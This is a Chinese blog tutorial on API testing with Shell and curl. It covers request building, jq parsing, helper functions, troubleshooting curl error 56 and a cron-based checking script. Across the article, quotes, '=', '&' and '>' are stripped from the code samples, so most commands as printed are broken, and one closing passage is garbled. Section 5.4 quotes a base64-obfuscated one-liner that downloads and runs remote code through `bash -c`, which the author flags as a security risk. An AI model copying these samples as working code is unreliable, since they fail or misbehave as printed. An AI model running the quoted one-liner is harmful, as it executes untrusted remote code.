ARTICLE DETAIL

建站实战干货

来自一线的建站与推广经验沉淀,每一条都经过真实交付验证。

Shell+curl接口测试实战:从请求构造到自动化巡检

2026/10/4 9:06:43 拓冰建站 浏览量
Shell+curl接口测试实战:从请求构造到自动化巡检 作为一个常年跟接口打交道的人我越来越发现一个现实问题很多团队引进了Postman、Apifox这类图形化工具但到了自动化回归、批量巡检、CI接入这些环节最终还是得回到命令行。Shell结合curl做接口测试看起来原始实际上是把接口测试变成了一种可以脚本化、可重复、可纳入流水线的能力而不是停留在手工点一下的层面。这篇文章准备讲透一个组合用Shell脚本驱动curl完成GET/POST请求的构造、发送、响应解析以及整个过程中的常见坑和排错思路。适合正在做服务端接口测试、接口联调或者想把自己从图形化工具里解放出来的同学。不管你是刚接触shell脚本的新手还是已经写过一阵子脚本但总被一些莫名其妙的问题卡住的老手这篇都值得耐心看完。1. 为什么我放弃了纯工具改用Shellcurl做接口测试先聊一个很多人会问的问题Postman、Apifox不是挺好用的吗可视化的界面、自动生成的文档、团队协作功能一个不少为什么还要回到命令行我不否认这些工具的效率。在接口调试阶段图形化工具确实直观点一点就能看到响应结果。但问题出在批量自动化可编程这几个词上。当你需要并发请求10个接口、根据上一个接口的返回值动态拼接下一个请求参数、把测试结果按固定格式写入日志文件、每天凌晨自动跑一遍线上接口巡检图形化工具就开始显得笨重了。要么得写复杂的脚本插件要么得依赖它自带的自动化流程反而绕了一大圈。Shell加curl这个组合的本质是把接口测试这件事变成了一种可编程的文本处理流程。curl本身就是一台微型的HTTP客户端支持方法、头部、数据、代理、超时、重定向等几乎你能想到的所有HTTP细节。Shell则负责把这些curl命令组织成逻辑比如循环、条件判断、参数传递、结果汇总。两者配合就等于有了一套不依赖任何IDE和图形界面的接口测试环境。还有一个实际考量部署成本几乎为零。一台普通的Linux服务器自带curl和bash就能跑起来。新环境拉下来直接执行不用装Electron应用、不用登录账号、不用同步工作空间。在容器里、在CI流水线里、在客户内网的跳板机上这几乎是唯一的选择。当然不是说工具就完全不用。我的习惯是图形工具做探索性调试Shellcurl做固化回归。接口刚对接的时候用Apifox快速看数据结构、试参数组合。一旦接口逻辑定了需要频繁重复验证就立刻从工具搬进Shell脚本。两个阶段用不同的武器各取所长。2. 从零构造curl请求GET和POST的参数江湖curl的请求构造说简单也简单说复杂能写一本小册子。我用几个实际场景把它串起来讲。2.1 GET请求URL、查询串与curl -G的细节GET请求最直观的形态是把参数塞在URL的查询字符串里。直接写完整URL当然可以curl http://api.example.com/v1/users?page1size20这里有个细节值得注意URL里的符号在Shell中会被解释为后台执行符。所以必须用双引号包住整个URL否则命令会被拆成两段。这也是新手最常见的第一个坑。用变量拼接URL时我推荐这种写法BASE_URLhttp://api.example.com/v1 PAGE2 SIZE50 curl ${BASE_URL}/users?page${PAGE}size${SIZE}再进阶一点curl提供-G和--data-urlencode的组合专门处理需要拼查询串的场景curl -G ${BASE_URL}/users \ --data-urlencode page2 \ --data-urlencode size50 \ --data-urlencode keywordshell curl-G的意思是把后面--data-urlencode的数据转成GET请求的查询参数追加到URL上。--data-urlencode会自动对特殊字符做URL编码比如空格变成%20、中文变成百分号编码这会带来一个实际好处不需要手工处理参数转义。如果参数来自配置文件或上游接口的返回值这个特性尤其有用。2.2 POST请求form表单与JSON body的选择POST请求在接口联调里常用的有两种body类型application/x-www-form-urlencoded传统表单和application/jsonJSON串。表单格式的POST用-d直接传键值对curl -X POST ${BASE_URL}/login \ -d usernametest_user \ -d password123456默认情况下-d发送的Content-Type就是application/x-www-form-urlencoded。你不需要手动声明。但如果对方接口明确要求接收JSON这么写就会直接吃瘪。换成JSON bodycurl -X POST ${BASE_URL}/login \ -H Content-Type: application/json \ -d {username:test_user,password:123456}这里有两个关键点。第一-H手动指定了Content-Type: application/json这一步不能省否则服务端可能按表单格式解析拿不到你传的JSON。第二-d后面的数据我用了单引号包裹JSON串因为JSON本身包含双引号外层再用双引号会导致变量展开和转义混乱。这一点在后面的避坑章节会详细展开。如果你需要在JSON串里动态插入变量值可以用printf拼字符串USERNAMEtester_01 PASSWORDPassw0rd2024 PAYLOAD$(printf {username:%s,password:%s} $USERNAME $PASSWORD) curl -X POST ${BASE_URL}/login \ -H Content-Type: application/json \ -d $PAYLOAD注意printf的格式串用单引号包裹内部的%s由后面的变量按顺序替换。这是Shell中拼接JSON最稳妥、最不容易出错的方式。2.3 GET和POST的核心区别以及那个被忽略的-X很多人背着GET拿数据、POST传数据的口诀但实测中还有个更本质的差异幂等性。GET请求设计上应该无副作用重复调用100次和调用1次结果一致POST则允许对服务端资源做修改重复提交可能产生多条数据。正因为这个区别接口测试中对GET适合做重复巡检对POST则要格外小心脚本里最好加个执行前确认或者防重机制。顺带提一个常见误解很多人以为curl -X POST才是发起POST的唯一方式。其实当你用了-d参数curl会自动把请求改造成POST-X反而在有些边缘场景下会引发问题。比如你想发一个带有请求体的GET请求大概率不该这么干但确实有这种接口用-X GET配合-d某些服务端或中间件会直接拒绝。我见过不少现场事故都是-X跟-d叠加导致行为不符合预期所以我的习惯是能用-d自动推断方法就别多写-X。3. 响应解析状态码、响应头、JSON与文本的完整处理链请求发送出去只是第一步接口测试的真正工作从响应返回之后才开始。这块也是很多人从Postman转到命令行后最不适应的地方——没有可视化渲染了一切都要靠自己提取。3.1 状态码与响应头的抓取curl的-w参数是一个低调但极其强大的功能。它可以在请求结束后输出自定义格式的额外信息curl -s -o /dev/null -w HTTP_STATUS:%{http_code} TIME_TOTAL:%{time_total}s\n \ ${BASE_URL}/users?page1size20这段命令分解开来-s静默模式不显示进度条-o /dev/null把响应正文丢进黑洞因为我们只关心状态码-w输出指定的指标。http_code是HTTP状态码time_total是总耗时秒数。需要响应头时用-i把响应头和正文一起输出或者用-D把响应头单独存文件curl -s -D /tmp/headers.txt -o /tmp/body.txt ${BASE_URL}/users head -20 /tmp/headers.txt-D写响应头文件-o写响应正文文件。这样头和身体完全分离需要检查Cookie、token、Content-Type等头信息时非常方便。3.2 JSON解析从grep到jq的正道响应体是JSON如何提取字段是接口测试的高频刚需。最直白但最蠢的方式是grepRESP$(curl -s ${BASE_URL}/users?page1size20) echo $RESP | grep -o total:[0-9]*这种方式在字段值简单时能凑合但只要JSON结构稍微嵌套、数组一多grep就完全失控。比如你想提取数组中第二项的user_id用grep写出来的表达式又长又脆换个字段名就断。实际项目里我几乎只认准一个工具jq。它不是curl的附属品但两者配合堪称绝配。基础用法RESP$(curl -s ${BASE_URL}/users?page1size20) echo $RESP | jq -r .data.items[0].user_id-r参数输出raw格式即不对字符串加引号。这样提取出的值可以直接喂给下一个curl命令作为参数USER_ID$(echo $RESP | jq -r .data.items[0].user_id) curl -s ${BASE_URL}/users/${USER_ID}/detail | jq .如果jq还没安装Debian系是apt install jqRed Hat系是yum install jq。安装过程不复杂但建议提前装好别等到脚本写到一半才发现缺工具。3.3 非JSON响应的处理思路不是所有接口都返回JSON有时候返回XML、纯文本甚至是个文件。这时候jq派不上用场就要回到文本处理三件套grep、sed、awk。举个例子一个接口返回的是一段HTML片段需要提取其中span classstatus里的文字RESP$(curl -s ${BASE_URL}/page/status) echo $RESP | grep -oP span classstatus[^] | sed s/span classstatus//这里用了grep的-P启用Perl兼容正则[^]直接匹配到下一个尖括号之前的所有字符再用sed把前面的固定标签剥离。处理流程看起来有点绕但逻辑很清晰先用正则切出目标片段再剥掉多余前缀。纯文本返回更简单直接看内容匹配即可RESP$(curl -s ${BASE_URL}/health) if echo $RESP | grep -q OK; then echo health check passed else echo health check failed figrep -q静默匹配只在成功时返回0退出码。这样通过if分支就能快速判断接口是否符合预期。不过要注意shell中检查命令成功与否用的是退出码而不是grep的输出字符串。4. 把curl调用变成可复用的脚本函数的提炼与封装实际做接口测试时你很少会只发一次请求。通常是一个流程里串了若干接口登录拿token用token查列表再对列表里的每一项做详情校验。如果每次都手敲curl命令效率太低。所以我的习惯是把请求过程封装成Shell函数。4.1 一个带token的POST封装举个例子假设所有业务接口都要求在Header里带一个token这个token是登录时返回的。封装完的调用方式应该是这样# 登录并提取token TOKEN$(curl -s -X POST ${BASE_URL}/login \ -H Content-Type: application/json \ -d {username:tester,password:123456} | jq -r .data.token) # 调用业务接口 curl -s ${BASE_URL}/orders?page1 \ -H Authorization: Bearer ${TOKEN} \ -H Content-Type: application/json | jq .但这里的登录逻辑如果多次复用每次都要复制粘贴。更好的做法是写一个函数api_post() { local path$1 local data$2 local token$3 curl -s -X POST ${BASE_URL}${path} \ -H Content-Type: application/json \ -H Authorization: Bearer ${token} \ -d $data } # 使用 api_post /orders {page:1} $TOKEN | jq .data.list函数的好处是你只需要维护一份请求逻辑。如果后续要求统一在Header里加一个X-Request-ID用于链路追踪只改函数内部即可不需要改所有调用点。4.2 封装时的局部变量与返回值陷阱封装Shell函数时有两个容易踩的坑。第一个坑是变量作用域。Shell函数内定义的变量默认是全局的如果不加local声明函数内部变量的值会泄漏到外部污染后续逻辑。我习惯在函数开头把所有内部变量都用local声明。这看起来像编程规范其实主要目的就是防污染。第二个坑是函数返回值。很多新手以为Shell函数可以像其他语言一样return 字符串。实际上return只能返回0到255的整数且是退出码不是内容。要返回字符串正确做法是用echo或printf输出然后用命令替换$(...)捕获get_order_id() { local resp$1 echo $resp | jq -r .data.order_id } ORDER_ID$(get_order_id $RESP)这个模式贯穿整个脚本开发函数输出是一切。无论中间逻辑多复杂最后记得把需要的结果echo出来调用方用$()接收。这是Shell函数式编程最核心的习惯。4.3 流程编排循环、条件与动态拼接响应较完整的测试流程往往包含循环。比如拿到一个用户列表后需要挨个调用详情接口并统计成功失败次数。参考代码USER_IDS$(curl -s ${BASE_URL}/users?size10 | jq -r .data.items[].user_id) SUCCESS0 FAIL0 for UID in $USER_IDS; do CODE$(curl -s -o /dev/null -w %{http_code} ${BASE_URL}/users/${UID}/detail) if [ $CODE 200 ]; then SUCCESS$((SUCCESS 1)) else FAIL$((FAIL 1)) echo [WARN] user ${UID} detail got ${CODE} fi done echo total${SUCCESS} success${SUCCESS} fail${FAIL}这里有几个细节值得展开。for UID in $USER_IDS能正常工作是因为jq的.data.items[].user_id会逐行输出每个user_id换行符正好被Shell当作单词分隔符。但如果你的工具链输出的是带空格的字符串比如id是ab 12这种诡异格式for循环就会被空格拆裂。稳妥的做法是依赖换行符切分并在循环内部显式处理。SUCCESS$((SUCCESS 1))是Shell的算术运算语法$(( ))里可以直接做整数加减。注意算术运算内部不需要也不能加$前缀写成$SUCCESS 1虽然能跑但容易踩到空变量负值坑。5. 实测中那些真正让人崩溃的坑curl 56连接超时与其他怪现象如果说前面的内容都是正路这一节才是整个系列里最有价值的部分。我在日常巡检和排障中踩过太多curl相关的坑每次都花不少时间才定位到根因。下面挑几个最具代表性的详细拆一下。5.1 curl 56 recv failure: 连接超时——先别急着怪网络这个报错在接口巡检中非常常见。完整格式类似这样curl: (56) recv failure: Connection timed out第一次遇到时直觉反应是服务端挂了或网络断了。但排查链路其实应该是这样一步步走的第一先确认是不是真的网络问题。在目标服务器上执行ping -c 3 server_ip如果ping通则说明网络层可达问题可能出在TCP层或HTTP层。第二检查端口连通性。用nc或telnetnc -vz server_ip port如果端口不通可能是防火墙、安全组或者服务根本没监听。这时候去查服务端进程和防火墙规则更有价值而不是反复重试curl。第三检查curl的耗时数据。加-w输出连接耗时和总耗时curl -v -o /dev/null -w connect%{time_connect} total%{time_total}\n \ http://api.example.com/v1/healthtime_connect是TCP握手完成耗时。如果这个值本身就很大说明TCP层就卡住了问题在中间链路。如果time_connect很小但time_total巨大说明连接建立了但数据一直没传输完问题可能在服务端处理逻辑或响应体过大。第四确认是不是超时时间设置太短。curl默认没有总超时限制但如果你在命令里加了--connect-timeout或-mmax-time数值设置过小会导致明明服务端在处理客户端却主动断开了。我之前就遇到过curl -m 5去调一个批处理接口服务端实际需要8秒结果每次必现56。把超时改成20秒后问题消失。第五也是容易被忽视的连接复用和keepalive。curl的-v输出里如果出现Re-using existing connection说明它在复用之前连接而这条连接可能已经被服务端关闭这时也可能抛出类似错误。解决办法是加--no-keepalive或直接新起进程执行。这一套排查走下来绝大多数56问题都能定位到具体层。真正的经验是报错信息只是表象必须带着哪一层断了的问题意识去查。5.2 引号与转义JSON body为什么会神秘消失这是Shell脚本里出现频率最高的问题。看下面这段PAYLOAD{name:test,age:18} curl -s -X POST ${BASE_URL}/users -H Content-Type: application/json -d $PAYLOAD运行正常。但如果有人把外层单引号写成了双引号PAYLOAD{name:test,age:18} curl -s -X POST ${BASE_URL}/users -H Content-Type: application/json -d $PAYLOADShell会直接把{name和test,age当成乱七八糟的token解析命令直接报错。原因在于双引号里遇到会被当成字符串结束符于是{name:被拆碎了。解决方式是外层用单引号内层用双引号或者干脆都用写死的JSON。动态拼接时则用前面提到的printf方案。5.3 grep匹配不到、if判断不生效——小心Windows换行符还有一次印象很深的排障脚本在开发机上运行得好好的部署到客户的Linux服务器上后有个接口响应判断始终异常。排查了半天发现响应内容里的每行末尾都带着\r字符。原因是用FTP传的脚本文件在Windows下被改成了CRLF换行shell脚本本身解析就出问题。排查方法很简单用cat -A查看行尾cat -A script.sh正常Unix换行显示为$而CRLF会显示成^M$。修复方式是安装dos2unix转换或者直接用sed清理sed -i s/\r$// script.sh这类问题不算curl特有但在接口测试脚本里特别容易因为响应体包含回车符而导致jq解析失败、grep匹配不到、if判断不生效。我现在的习惯是所有脚本上传到服务器后第一件事就是跑file script.sh确认ASCII text再顺手dos2unix清洗一遍。5.4 转义地狱从base64解码到动态脚本执行的边界搜热词的时候我看到一个很有意思的条目bash -c $(curl -l $(echo dmftlmluay8wmg | base64 --decode))。这种写法看起来炫酷实际是把下载脚本和解码执行混在一起安全风险极高。我不打算深入它但类似模式的启示是可以聊的当你从远程拿到的数据是base64编码时解码和后续执行要严格分开。比如B64_DATAdmftbmluay8wmg PLAINTEXT$(echo $B64_DATA | base64 --decode) echo decoded: ${PLAINTEXT}我见过不止一次因为忘记加引号导致解码后的空格被Shell吃掉、参数错位、接口返回500的案例。安全上的提醒是对于外部来源的命令不要直接拼进bash -c执行先落盘、先审查再执行。脚本执行前多看一眼永远不亏。5.5 自动化巡检脚本里的静默陷阱还有一个经常被忽略的点-s静默模式虽然让输出干净但也把进度信息、错误信息一起吞掉了。当脚本出问题时你只看到空响应或非零退出码根本不知道卡在哪一步。我推荐的做法是调试阶段用curl -v输出完整交互过程跑通后再收敛成-s。脚本里则使用-sS组合-s关闭进度条但-S保留错误输出。这样既保持输出整洁又不会让关键错误信息完全消失。6. 进阶实战一套可落地的接口测试巡检小框架前面讲了各种基础操作和避坑经验最后把它们整合成一个真正可用的巡检脚本。虽然形式简单但它承载了我在实际操作中沉淀的几个关键设计可配置、可判定、可日志、可定时。6.1 定义配置文件与测试用例把接口信息放进配置文件好处是换环境时不需要改脚本本身。用简单的keyvalue格式# test_config.env BASE_URLhttp://api.example.com/v1 TOKEN_ENDPOINT/login USERNAMEtest_user PASSWORDtest_pass然后用source加载source ./test_config.env这里要注意如果配置文件中的password带特殊字符比如、#直接用source加载可能就把注释符引出来了。更安全的做法是把配置文件当成纯文本读取而不是硬source。简单场景下如果确定没有特殊字符source的便利性可以接受生产环境建议用专门的解析函数。6.2 测试用例的判定与断言接口测试的灵魂在断言。shell里写断言基本就是if 状态码/关键字/jq结果assert_status() { local expected$1 local actual$2 local name$3 if [ $actual -eq $expected ]; then echo [PASS] ${name} return 0 else echo [FAIL] ${name}: expected ${expected}, got ${actual} return 1 fi } # 使用示例 HTTP_CODE$(curl -s -o /dev/null -w %{http_code} ${BASE_URL}/users) assert_status 200 $HTTP_CODE 查询用户列表如果响应体是JSON还可以配合jq做字段断言TOTAL$(curl -s ${BASE_URL}/users?page1 | jq -r .data.total) if [ $TOTAL -gt 0 ]; then echo [PASS] 用户总数大于0, actual${TOTAL} else echo [FAIL] 用户总数为0 fi需要说明的是这里用-gt而不是是因为在Shell中是重定向符。所有数字比较都要用-gt、-lt、-eq这类运算符或者用$(( ))算术判断。6.3 日志与定时巡检结果怎么沉淀每一条测试结果都应该带着时间戳落盘否则跑完就找不到了。简单实现LOG_FILEtest_report_$(date %Y%m%d_%H%M%S).log { echo Interface Test Report $(date %Y-%m-%d %H:%M:%S) # 上面那些测试用例... } $LOG_FILE 21date %Y%m%d_%H%M%S生成时间戳字符串让每次运行的日志文件名唯一避免互相覆盖。{}块内的所有输出统一进入日志文件21把错误输出合并到一起方便事后翻阅。定时执行交给cron处理。用crontab -e添加一行0 2 * * * /opt/scripts/interface_check.sh /var/log/interface_check.log 21每天早上2点跑一次巡检。这个组合比用图形化工具的定时云任务更可控至少你不会遇到云任务突然暂停这种外部因素。6.4 垃圾输入与超时防护的兜底最后补两个兜底设计。第一curl默认不设总超时。在自动化场景里一个卡住的服务端请求可以让整个脚本挂死在那里。务必加上-m参数curl -s -m 15 ${BASE_URL}/users超过15秒直接失败不让脚本无限等。第二接口可能返回空串或非JSON内容。用jq解析前先做个防卫性检查RESP$(curl -s -m 15 ${BASE_URL}/users) if echo $RESP | jq -e . /dev/null 21; then TOTAL$(echo $RESP | jq -r .data.total) else echo [FAIL] 接口返回不是合法JSON exit 1 fijq -e .在JSON合法时为0不合法时非0。这一层判断能避免后面一系列jq报错把真实问题掩盖掉。7. 从一个实战故障再谈排查顺序当响应解析结果整个错位最后分享最近处理的一个实际故障把整套方法论串起来。巡检脚本里有个步骤请求订单列表之后把第一个订单的ID提取出来然后请求详情接口。脚本在测试环境正常上线生产环境后突然频繁报错报错信息是jq解析时字段为空。一开始怀疑生产环境接口字段名不同但直接在服务器上手动curl返回的数据明明有order_id字段。后来通过curl -v对比了测试和生产环境的完整响应头才发现生产环境前面多了一层网关返回的JSON不是纯数据而是包了一层{code:0,data:{order_id:12345, ...}}脚本里写死了.data.order_id在测试环境恰好命中但在生产多包了一层data之后字段路径变成了.data.data.order_id。修复方式很蠢也很有效把提取路径改成.data.data.order_id前我先加了一个判断是否存在.data.order_id不存在就走备用路径。但只要试试后面这个真实的修复方式甚至直接让开发把网关层结构对齐。整个排查过程耗时30分钟如果一开始就打印完整响应体而不是直接进jq解析可能3分钟就定位了。这也是我为什么会反复强调所有解析的前提是先看原始响应不要跳步。在脚本里留一个DEBUG1开关开启时把完整响应落盘是花小钱办大事的做法。到这里Shell结合curl做接口测试这条链路的所有核心环节都说完了。从GET/POST构造、响应解析、脚本封装到故障排查每一步都有实际项目的影子。这套能力真正上手之后你再看接口联调会多一种全局视角——无论有没有图形化工具你都能随时用一行命令把接口摸得清清楚楚。